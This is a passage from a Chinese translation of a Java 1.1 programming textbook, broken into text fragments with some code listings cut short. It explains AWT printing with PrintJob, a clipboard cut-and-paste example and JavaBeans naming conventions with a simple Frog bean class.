ｐｊ．ｇｅｔＧｒａｐｈｉｃｓ（）； ｝ ｝ ｖｏｉｄ ｅｎｄ（） ｛ ｐｊ．ｅｎｄ（）； ｝ ４４９ ｝ ｃｌａｓｓ ＣｈａｎｇｅＦｏｎｔ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｓｔｒｉｎｇＨｅｉｇｈｔ； ＣｈａｎｇｅＦｏｎｔ（Ｓｔｒｉｎｇ ｆａｃｅ， ｉｎｔ ｓｔｙｌｅ，ｉｎｔ ｐｏｉｎｔ）｛ ｉｆ（ｇ ！ ＝ ｎｕｌｌ） ｛ ｇ．ｓｅｔＦｏｎｔ（ｎｅｗ Ｆｏｎｔ（ｆａｃｅ， ｓｔｙｌｅ， ｐｏｉｎｔ））； ｓｔｒｉｎｇＨｅｉｇｈｔ ＝ ｇ．ｇｅｔＦｏｎｔＭｅｔｒｉｃｓ（）．ｇｅｔＨｅｉｇｈｔ（）； ｝ ｝ ｉｎｔ ｓｔｒｉｎｇＷｉｄｔｈ（Ｓｔｒｉｎｇ ｓ） ｛ ｒｅｔｕｒｎ ｇ．ｇｅｔＦｏｎｔＭｅｔｒｉｃｓ（）．ｓｔｒｉｎｇＷｉｄｔｈ（ｓ）； ｝ ｉｎｔ ｓｔｒｉｎｇＨｅｉｇｈｔ（） ｛ ｒｅｔｕｒｎ ｓｔｒｉｎｇＨｅｉｇｈｔ； ｝ ｝ ｃｌａｓｓ ＴＢＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ＰｒｉｎｔＤａｔａ ｐｄ ＝ ｎｅｗ ＰｒｉｎｔＤａｔａ（＂Ｐｒｉｎｔ Ｔｅｘｔ Ｔｅｓｔ＂）； ／／ Ｎｕｌｌ ｍｅａｎｓ ｐｒｉｎｔ ｊｏｂ ｃａｎｃｅｌｅｄ： ｉｆ（ｐｄ ＝＝ ｎｕｌｌ） ｒｅｔｕｒｎ； Ｓｔｒｉｎｇ ｓ ＝ ＂ＰｒｉｎｔＤｅｍｏ＂； ＣｈａｎｇｅＦｏｎｔ ｃｆ ＝ ｎｅｗ ＣｈａｎｇｅＦｏｎｔ（ ｆａｃｅｓ．ｇｅｔＳｅｌｅｃｔｅｄＩｔｅｍ（）， Ｆｏｎｔ．ＩＴＡＬＩＣ，７２）； ｇ．ｄｒａｗＳｔｒｉｎｇ（ｓ， （ｐｄ．ｐａｇｅＷｉｄｔｈ － ｃｆ．ｓｔｒｉｎｇＷｉｄｔｈ（ｓ）） ／ ２， （ｐｄ．ｐａｇｅＨｅｉｇｈｔ － ｃｆ．ｓｔｒｉｎｇＨｅｉｇｈｔ（）） ／ ３）； ｓ ＝ ＂Ａ ｓｍａｌｌｅｒ ｐｏｉｎｔ ｓｉｚｅ＂； ｃｆ ＝ ｎｅｗ ＣｈａｎｇｅＦｏｎｔ（ ｆａｃｅｓ．ｇｅｔＳｅｌｅｃｔｅｄＩｔｅｍ（）， Ｆｏｎｔ．ＢＯＬＤ， ４８）； ｇ．ｄｒａｗＳｔｒｉｎｇ（ｓ， （ｐｄ．ｐａｇｅＷｉｄｔｈ － ｃｆ．ｓｔｒｉｎｇＷｉｄｔｈ（ｓ）） ／ ２， （ｉｎｔ）（（ｐｄ．ｐａｇｅＨｅｉｇｈｔ － ｃｆ．ｓｔｒｉｎｇＨｅｉｇｈｔ（））／１．５））； ｇ．ｄｉｓｐｏｓｅ（）； ｐｄ．ｅｎｄ（）； ｝ ｝ ｃｌａｓｓ ＧＢＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ＰｒｉｎｔＤａｔａ ｐｄ ＝ ｎｅｗ ＰｒｉｎｔＤａｔａ（＂Ｐｒｉｎｔ Ｇｒａｐｈｉｃｓ Ｔｅｓｔ＂）； ｉｆ（ｐｄ ＝＝ ｎｕｌｌ） ｒｅｔｕｒｎ； ｐｌｏｔ．ｐｒｉｎｔ（ｇ）；"},
    {"text": "ｇ．ｄｉｓｐｏｓｅ（）； ｐｄ．ｅｎｄ（）； ｝ ｝ ｃｌａｓｓ ＲｉｎｇＬ ｉｍｐｌｅｍｅｎｔｓ ＴｅｘｔＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｔｅｘｔＶａｌｕｅＣｈａｎｇｅｄ（ＴｅｘｔＥｖｅｎｔ ｅ） ｛ ｉｎｔ ｉ ＝ １； ４５０ ｔｒｙ ｛ ｉ ＝ Ｉｎｔｅｇｅｒ．ｐａｒｓｅＩｎｔ（ｒｉｎｇＮｕｍ．ｇｅｔＴｅｘｔ（））； ｝ ｃａｔｃｈ（ＮｕｍｂｅｒＦｏｒｍａｔＥｘｃｅｐｔｉｏｎ ｅｘ） ｛ ｉ ＝ １； ｝ ｐｌｏｔ．ｒｉｎｇｓ ＝ ｉ； ｐｌｏｔ．ｒｅｐａｉｎｔ（）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｆｒａｍｅ ｐｄｅｍｏ ＝ ｎｅｗ ＰｒｉｎｔＤｅｍｏ（）； ｐｄｅｍｏ．ｓｅｔＴｉｔｌｅ（＂Ｐｒｉｎｔ Ｄｅｍｏ＂）； ｐｄｅｍｏ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "ｐｄｅｍｏ．ｓｅｔＳｉｚｅ（５００， ５００）； ｐｄｅｍｏ．ｓｅｔＶｉｓｉｂｌｅ（ｔｒｕｅ）； ｝ ｝ ｃｌａｓｓ Ｐｌｏｔ ｅｘｔｅｎｄｓ Ｃａｎｖａｓ ｛ ｐｕｂｌｉｃ ｉｎｔ ｒｉｎｇｓ ＝ ３； ｝ ｃｌａｓｓ Ｐｌｏｔ１ ｅｘｔｅｎｄｓ Ｐｌｏｔ ｛ ／／ Ｄｅｆａｕｌｔ ｐｒｉｎｔ（） ｃａｌｌｓ ｐａｉｎｔ（）： ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｉｎｔ ｗ ＝ ｇｅｔＳｉｚｅ（）．ｗｉｄｔｈ； ｉｎｔ ｈ ＝ ｇｅｔＳｉｚｅ（）．ｈｅｉｇｈｔ； ｉｎｔ ｘｃ ＝ ｗ ／ ２； ｉｎｔ ｙｃ ＝ ｗ ／ ２； ｉｎｔ ｘ ＝ ０， ｙ ＝ ０； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｒｉｎｇｓ； ｉ＋＋） ｛ ｉｆ（ｘ ＜ ｘｃ ＆＆ ｙ ＜ ｙｃ） ｛ ｇ．ｄｒａｗＯｖａｌ（ｘ， ｙ， ｗ， ｈ）； ｘ ＋＝ １０； ｙ ＋＝ １０； ｗ －＝ ２０； ｈ －＝ ２０；"},
    {"text": "｝ ｝ ｝ ｝ ｃｌａｓｓ Ｐｌｏｔ２ ｅｘｔｅｎｄｓ Ｐｌｏｔ ｛ ／／ Ｔｏ ｆｉｔ ｔｈｅ ｐｉｃｔｕｒｅ ｔｏ ｔｈｅ ｐａｇｅ， ｙｏｕ ｍｕｓｔ ／／ ｋｎｏｗ ｗｈｅｔｈｅｒ ｙｏｕ＇ｒｅ ｐｒｉｎｔｉｎｇ ｏｒ ｐａｉｎｔｉｎｇ： ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｉｎｔ ｗ， ｈ； ｉｆ（ｇ ｉｎｓｔａｎｃｅｏｆ ＰｒｉｎｔＧｒａｐｈｉｃｓ） ｛ ＰｒｉｎｔＪｏｂ ｐｊ ＝ ４５１ （（ＰｒｉｎｔＧｒａｐｈｉｃｓ）ｇ）．ｇｅｔＰｒｉｎｔＪｏｂ（）； ｗ ＝ ｐｊ．ｇｅｔＰａｇｅＤｉｍｅｎｓｉｏｎ（）．ｗｉｄｔｈ； ｈ ＝ ｐｊ．ｇｅｔＰａｇｅＤｉｍｅｎｓｉｏｎ（）．ｈｅｉｇｈｔ； ｝ ｅｌｓｅ ｛ ｗ ＝ ｇｅｔＳｉｚｅ（）．ｗｉｄｔｈ； ｈ ＝ ｇｅｔＳｉｚｅ（）．ｈｅｉｇｈｔ； ｝ ｉｎｔ ｘｃ ＝ ｗ ／ ２； ｉｎｔ ｙｃ ＝ ｗ ／ ２； ｉｎｔ ｘ ＝ ０， ｙ ＝ ０； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｒｉｎｇｓ； ｉ＋＋） ｛ ｉｆ（ｘ ＜ ｘｃ ＆＆ ｙ ＜ ｙｃ） ｛ ｇ．ｄｒａｗＯｖａｌ（ｘ， ｙ， ｗ， ｈ）； ｘ ＋＝ １０； ｙ ＋＝ １０； ｗ －＝ ２０； ｈ －＝ ２０；"},
    {"text": "｝ ｝ ｝ ｝ ｃｌａｓｓ Ｐｌｏｔ３ ｅｘｔｅｎｄｓ Ｐｌｏｔ ｛ ／／ Ｓｏｍｅｗｈａｔ ｂｅｔｔｅｒ． Ｓｅｐａｒａｔｅ ／／ ｐｒｉｎｔｉｎｇ ｆｒｏｍ ｐａｉｎｔｉｎｇ： ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ／／ Ａｓｓｕｍｅ ｉｔ＇ｓ ａ ＰｒｉｎｔＧｒａｐｈｉｃｓ ｏｂｊｅｃｔ： ＰｒｉｎｔＪｏｂ ｐｊ ＝ （（ＰｒｉｎｔＧｒａｐｈｉｃｓ）ｇ）．ｇｅｔＰｒｉｎｔＪｏｂ（）； ｉｎｔ ｗ ＝ ｐｊ．ｇｅｔＰａｇｅＤｉｍｅｎｓｉｏｎ（）．ｗｉｄｔｈ； ｉｎｔ ｈ ＝ ｐｊ．ｇｅｔＰａｇｅＤｉｍｅｎｓｉｏｎ（）．ｈｅｉｇｈｔ； ｄｏＧｒａｐｈｉｃｓ（ｇ， ｗ， ｈ）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｉｎｔ ｗ ＝ ｇｅｔＳｉｚｅ（）．ｗｉｄｔｈ； ｉｎｔ ｈ ＝ ｇｅｔＳｉｚｅ（）．ｈｅｉｇｈｔ； ｄｏＧｒａｐｈｉｃｓ（ｇ， ｗ， ｈ）； ｝ ｐｒｉｖａｔｅ ｖｏｉｄ ｄｏＧｒａｐｈｉｃｓ（ Ｇｒａｐｈｉｃｓ ｇ， ｉｎｔ ｗ， ｉｎｔ ｈ） ｛ ｉｎｔ ｘｃ ＝ ｗ ／ ２； ｉｎｔ ｙｃ ＝ ｗ ／ ２； ｉｎｔ ｘ ＝ ０， ｙ ＝ ０； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｒｉｎｇｓ； ｉ＋＋） ｛ ｉｆ（ｘ ＜ ｘｃ ＆＆ ｙ ＜ ｙｃ） ｛ ｇ．ｄｒａｗＯｖａｌ（ｘ， ｙ， ｗ， ｈ）； ｘ ＋＝ １０； ｙ ＋＝ １０； ｗ －＝ ２０； ｈ －＝ ２０；"},
    {"text": "｝ ｝ ｝ ｝ ／／／：￣ ４５２ 这个程序允许我们从一个选择列表框中选择字体（并且我们会注意到很多有用的字体在 Ｊａｖａ １．１ 版中一直受 到严格的限制，我们没有任何可以利用的优秀字体安装在我们的机器上）。"},
    {"text": "当打印图形时，绘图拥 有的 ｒｉｎｇ 将显示在屏幕上和打印在纸上，并且这三个衍生类 Ｐｌｏｔ１，Ｐｌｏｔ２，Ｐｌｏｔ３ 用不同的方法去完成任务 以便我们可以看到我们选择的事物。"},
    {"text": "例如，不论何时我想开始打印工作（不论 图形或文字），我必须创建一个 ＰｒｉｎｔＪｏｂ 打印工作对象，该对象拥有它自己的连同页面宽度和高度的图形对 象。 创建的 ＰｒｉｎｔＪｏｂ 打印工作对象和提取的页面尺寸一起被封装进 ＰｒｉｎｔＤａｔａ ｃｌａｓｓ 打印类中。 １． 打印文字 打印文字的概念简单明了：我们选择一种字体和大小，决定字符串在页面上存在的位置，并且使用 Ｇｒａｐｈｉｃｓ．ｄｒａｗＳｒｔｉｎｇ（）方法在页面上画出字符串就行了。"},
    {"text": "ＣｈａｎｇｅＦｏｎｔ 封装进少量从一种字体到其它的字体的变更方法并自动地创建一个新 字体对象和我们想要的字体，款式（粗体和斜体——目前还不支持下划线、空心等）以及点阵大小。"},
    {"text": "我们需要打印时，创建的 ＰｒｉｎｔＤａｔａ 对象初始化， 然后我们简单地为这个组件调用 ｐｒｉｎｔ（）打印方法。 为强制打印，我们必须为图形对象调用 ｄｉｓｐｏｓｅ（）处理方 法，并且为 ＰｒｉｎｔＤａｔａ 对象调用 ｅｎｄ（）结束方法（或改变为为 ＰｒｉｎｔＪｏｂ 调用 ｅｎｄ（）结束方法。"},
    {"text": "但是，我们会注意到输出的尺寸依赖于 屏幕上画布的大小，因为宽度和高度都是在调用 Ｃａｎｖａｓ．ｇｅｔＳｉｚｅ（）方法时决定是，所以这是合理的。"},
    {"text": "相反，如果我们打印而不是绘画，我们必须利用 ＲＴＴＩ ｉｎｓｔａｎｃｅｏｆ 关键字（在本书 １１ 章 中有相应描述）来测试 ＰｒｉｎｔＧｒａｐｉｃｓ，然后下溯造型并调用这独特的 ＰｒｉｎｔＧｒａｐｈｉｃｓ 方法：ｇｅｔＰｒｉｎｔＪｏｂ（） 方法。"},
    {"text": "这种方法同样也在 Ｐｌｏｔ３ 中也被使用，并且它消除了对 ｉｎｓｔａｎｃｅｏｆ 使用的需求，因为在 Ｐｒｉｎｔ（）方法中我们可以假设我们能对一个 ＰｒｉｎｔＧｒａｐｈｉｃｓ 对象造型。"},
    {"text": "很好，为了打印任何事物我们必须通过工具组件对象的 ｇｅｔＰｒｉｎｔＪｏｂ（）方法拥有一个 ＰｒｉｎｔＪｏｂ 对象，设置唯一的一个帧对象而不是一个程序片对象。"},
    {"text": "但是，当应 ４５３ 用程序窗口在程序片中出现时，我们会注意到 ＷＥＢ 浏览器插入一些警告在它上面，其中一些产生 “Ｗａｒｎｉｎｇ：Ａｐｐｌｅｔ Ｗｉｎｄｏｗ． （警告：程序片窗口）”的字样。"},
    {"text": "唯一的事是当用户关闭它时我们必须增加帧的代码 （代替调用 Ｓｙｓｔｅｍ．ｅｘｉｔ（））： ／／： ＰｒｉｎｔＤｅｍｏＡｐｐｌｅｔ．ｊａｖａ ／／ Ｃｒｅａｔｉｎｇ ａ Ｆｒａｍｅ ｆｒｏｍ ｗｉｔｈｉｎ ａｎ Ａｐｐｌｅｔ ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＰｒｉｎｔＤｅｍｏＡｐｐｌｅｔ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ Ｂｕｔｔｏｎ ｂ ＝ ｎｅｗ Ｂｕｔｔｏｎ（＂Ｒｕｎ ＰｒｉｎｔＤｅｍｏ＂）； ｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＰＤＬ（））； ａｄｄ（ｂ）； ｝ ｃｌａｓｓ ＰＤＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ ｆｉｎａｌ ＰｒｉｎｔＤｅｍｏ ｐｄ ＝ ｎｅｗ ＰｒｉｎｔＤｅｍｏ（）； ｐｄ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ）｛ ｐｄ．ｄｉｓｐｏｓｅ（）；"},
    {"text": "但 Ｊａｖａ 的安全系统包含了一个特点，可停止一个正在初始化打印工作的程序片，初始化程序片需要通过一个 Ｗｅｂ 浏览器或程序片浏览器来进行。"},
    {"text": "１ ３ ． １ ７ ． ３ 剪贴板 Ｊａｖａ １．１ 对系统剪贴板提供有限的操作支持（在 Ｊａｖａ．ａｗｔ．ｄａｔａｔｒａｎｓｆｅｒ ｐａｃｋａｇｅ 里）。"},
    {"text": "当数据从剪贴板中出来时，它 拥有一个相关的特色集，这个特色集可以被修改（例如，一个图形可以被表示成一些字符串或者一幅图像） 并且我们会注意到如果特殊的剪贴板数据支持这种特色，我们会对此十分的感兴趣。"},
    {"text": "／／： ＣｕｔＡｎｄＰａｓｔｅ．ｊａｖａ ／／ Ｕｓｉｎｇ ｔｈｅ ｃｌｉｐｂｏａｒｄ ｆｒｏｍ Ｊａｖａ １．１ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ４５４ ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｄａｔａｔｒａｎｓｆｅｒ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＣｕｔＡｎｄＰａｓｔｅ ｅｘｔｅｎｄｓ Ｆｒａｍｅ ｛ ＭｅｎｕＢａｒ ｍｂ ＝ ｎｅｗ ＭｅｎｕＢａｒ（）； Ｍｅｎｕ ｅｄｉｔ ＝ ｎｅｗ Ｍｅｎｕ（＂Ｅｄｉｔ＂）； ＭｅｎｕＩｔｅｍ ｃｕｔ ＝ ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｃｕｔ＂）， ｃｏｐｙ ＝ ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｃｏｐｙ＂）， ｐａｓｔｅ ＝ ｎｅｗ ＭｅｎｕＩｔｅｍ（＂Ｐａｓｔｅ＂）； ＴｅｘｔＡｒｅａ ｔｅｘｔ ＝ ｎｅｗ ＴｅｘｔＡｒｅａ（２０，２０）； Ｃｌｉｐｂｏａｒｄ ｃｌｉｐｂｄ ＝ ｇｅｔＴｏｏｌｋｉｔ（）．ｇｅｔＳｙｓｔｅｍＣｌｉｐｂｏａｒｄ（）； ｐｕｂｌｉｃ ＣｕｔＡｎｄＰａｓｔｅ（） ｛ ｃｕｔ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＣｕｔＬ（））； ｃｏｐｙ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＣｏｐｙＬ（））； ｐａｓｔｅ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＰａｓｔｅＬ（））； ｅｄｉｔ．ａｄｄ（ｃｕｔ）； ｅｄｉｔ．ａｄｄ（ｃｏｐｙ）； ｅｄｉｔ．ａｄｄ（ｐａｓｔｅ）； ｍｂ．ａｄｄ（ｅｄｉｔ）； ｓｅｔＭｅｎｕＢａｒ（ｍｂ）； ａｄｄ（ｔｅｘｔ， ＢｏｒｄｅｒＬａｙｏｕｔ．ＣＥＮＴＥＲ）； ｝ ｃｌａｓｓ ＣｏｐｙＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｓｔｒｉｎｇ ｓｅｌｅｃｔｉｏｎ ＝ ｔｅｘｔ．ｇｅｔＳｅｌｅｃｔｅｄＴｅｘｔ（）； ＳｔｒｉｎｇＳｅｌｅｃｔｉｏｎ ｃｌｉｐＳｔｒｉｎｇ ＝ ｎｅｗ ＳｔｒｉｎｇＳｅｌｅｃｔｉｏｎ（ｓｅｌｅｃｔｉｏｎ）； ｃｌｉｐｂｄ．ｓｅｔＣｏｎｔｅｎｔｓ（ｃｌｉｐＳｔｒｉｎｇ， ｃｌｉｐＳｔｒｉｎｇ）； ｝ ｝ ｃｌａｓｓ ＣｕｔＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｓｔｒｉｎｇ ｓｅｌｅｃｔｉｏｎ ＝ ｔｅｘｔ．ｇｅｔＳｅｌｅｃｔｅｄＴｅｘｔ（）； ＳｔｒｉｎｇＳｅｌｅｃｔｉｏｎ ｃｌｉｐＳｔｒｉｎｇ ＝ ｎｅｗ ＳｔｒｉｎｇＳｅｌｅｃｔｉｏｎ（ｓｅｌｅｃｔｉｏｎ）； ｃｌｉｐｂｄ．ｓｅｔＣｏｎｔｅｎｔｓ（ｃｌｉｐＳｔｒｉｎｇ， ｃｌｉｐＳｔｒｉｎｇ）； ｔｅｘｔ．ｒｅｐｌａｃｅＲａｎｇｅ（＂＂， ｔｅｘｔ．ｇｅｔＳｅｌｅｃｔｉｏｎＳｔａｒｔ（）， ｔｅｘｔ．ｇｅｔＳｅｌｅｃｔｉｏｎＥｎｄ（））； ｝ ｝ ｃｌａｓｓ ＰａｓｔｅＬ ｉｍｐｌｅｍｅｎｔｓ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ ｅ） ｛ Ｔｒａｎｓｆｅｒａｂｌｅ ｃｌｉｐＤａｔａ ＝ ｃｌｉｐｂｄ．ｇｅｔＣｏｎｔｅｎｔｓ（ＣｕｔＡｎｄＰａｓｔｅ．ｔｈｉｓ）； ｔｒｙ ｛ Ｓｔｒｉｎｇ ｃｌｉｐＳｔｒｉｎｇ ＝ （Ｓｔｒｉｎｇ）ｃｌｉｐＤａｔａ． ｇｅｔＴｒａｎｓｆｅｒＤａｔａ（ ＤａｔａＦｌａｖｏｒ．ｓｔｒｉｎｇＦｌａｖｏｒ）； ｔｅｘｔ．ｒｅｐｌａｃｅＲａｎｇｅ（ｃｌｉｐＳｔｒｉｎｇ， ４５５ ｔｅｘｔ．ｇｅｔＳｅｌｅｃｔｉｏｎＳｔａｒｔ（）， ｔｅｘｔ．ｇｅｔＳｅｌｅｃｔｉｏｎＥｎｄ（））； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅｘ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｎｏｔ Ｓｔｒｉｎｇ ｆｌａｖｏｒ＂）； ｝ ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＣｕｔＡｎｄＰａｓｔｅ ｃｐ ＝ ｎｅｗ ＣｕｔＡｎｄＰａｓｔｅ（）； ｃｐ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
    {"text": "特殊的 两条线是 ＳｔｒｉｎｇＳｅｌｅｃｔｉｏｎ 对象从字符串从创建并调用 ＳｔｒｉｎｇＳｅｌｅｃｔｉｏｎ 的 ｓｅｔＣｏｎｔｅｎｔｓ（）方法。"},
    {"text": "有一种发现的方法是调用 ｇｅｔＴｒａｎｓｆｅｒＤａｔｅＦｌａｖｏｒｓ（），返回一个 ＤａｔａＦｌａｖｏｒ 对象数组，表明特殊对象支持这种特点。"},
    {"text": "但是在这里使用一种大胆的方法：调用 ｇｅｔＴｒａｎｓｆｅｒＤａｔａ（ ）方法，假设里面 的内容支持字符串特色，并且它不是个被分类在异常处理器中的难题 。"},
    {"text": "“最大限度地可重复使 用”的代码单元拥有类，因为它包含一个紧密结合在一起的单元特性（字段）和单元动作（方法），它们可 以直接经过混合或通过继承被重复使用。"},
    {"text": "“可视化编程”最早的成功——非常的成功——要归功于微软公司的 Ｖｉｓｕａｌ Ｂａｓｉｃ（ＶＢ，可视化 Ｂａｓｉｃ 语 言），接下来的第二代是 Ｂｏｒｌａｎｄ 公司 Ｄｅｌｐｈｉ（一种客户／服务器数据库应用程序开发工具，也是 Ｊａｖａ Ｂｅａｎｓ 设计的主要灵感）。"},
    {"text": "这些编程工具的组件的像征就是可视化，这是不容置疑的，因为它们通常展示一 些类型的可视化组件，例如：一个按惯或一个 ＴｅｘｔＦｉｅｌｄ。"},
    {"text": "我们可以在 应用程序构建工具中巧妙处置我们组件的属性，并且当我们创建程序时，构建数据被保存下来，所以当该程 序被启动时，数据能被重新恢复。"},
    {"text": "这是关键性的部分：应用程序构建工具可以动态地询问组件（利用映象）以发现组件支持的事件和属件。 一 旦它知道它们的状态，应用程序构建工具就可以显示组件的属性并允许我们修改它们的属性（当我们构建程 序时，保存它们的状态），并且也显示这些事件。"},
    {"text": "命名规则不是设计范式，它是相当的简单： （１） 因为属性被命名为 ｘｘｘ，我们代表性的创建两个方法：ｇｅｔＸｘｘ（）和 ｓｅｔＸｘｘ（）。"},
    {"text": "这种方法完全同我们看到过的方法相同： （ａｄｄＦｏｏＢａｒＬｉｓｔｅｎｅｒ（ＦｏｏＢａｒＬｉｓｔｅｎｅｒ）和 ｒｅｍｏｖｅＦｏｏＢａｒＬｉｓｔｅｎｅｒ（ＦｏｏＢａｒＬｉｓｔｅｎｅｒ）方法用来处理 ＦｏｏＢａｒ 事 件。"},
    {"text": "上面的第一点回答了一个关于我们可能注意到的从 Ｊａｖａ １．０ 到 Ｊａｖａ １．１ 的改变的问题：一些方法的名字太 过于短小，显然改写名字毫无意义。"},
    {"text": "现在，我们已经可以利用上面的这些指导方针去创建一个简单的 Ｂｅａｎ： ／／： Ｆｒｏｇ．ｊａｖａ ／／ Ａ ｔｒｉｖｉａｌ Ｊａｖａ Ｂｅａｎ ｐａｃｋａｇｅ ｆｒｏｇｂｅａｎ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｃｌａｓｓ Ｓｐｏｔｓ ｛｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｆｒｏｇ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｊｕｍｐｓ； ｐｒｉｖａｔｅ Ｃｏｌｏｒ ｃｏｌｏｒ； ｐｒｉｖａｔｅ Ｓｐｏｔｓ ｓｐｏｔｓ； ｐｒｉｖａｔｅ ｂｏｏｌｅａｎ ｊｍｐｒ； ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＪｕｍｐｓ（） ｛ ｒｅｔｕｒｎ ｊｕｍｐｓ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＪｕｍｐｓ（ｉｎｔ ｎｅｗＪｕｍｐｓ） ｛ ｊｕｍｐｓ ＝ ｎｅｗＪｕｍｐｓ； ｝ ｐｕｂｌｉｃ Ｃｏｌｏｒ ｇｅｔＣｏｌｏｒ（） ｛ ｒｅｔｕｒｎ ｃｏｌｏｒ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ ｎｅｗＣｏｌｏｒ） ｛ ４５７ ｃｏｌｏｒ ＝ ｎｅｗＣｏｌｏｒ； ｝ ｐｕｂｌｉｃ Ｓｐｏｔｓ ｇｅｔＳｐｏｔｓ（） ｛ ｒｅｔｕｒｎ ｓｐｏｔｓ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＳｐｏｔｓ（Ｓｐｏｔｓ ｎｅｗＳｐｏｔｓ） ｛ ｓｐｏｔｓ ＝ ｎｅｗＳｐｏｔｓ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｉｓＪｕｍｐｅｒ（） ｛ ｒｅｔｕｒｎ ｊｍｐｒ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＪｕｍｐｅｒ（ｂｏｏｌｅａｎ ｊ） ｛ ｊｍｐｒ ＝ ｊ；"},
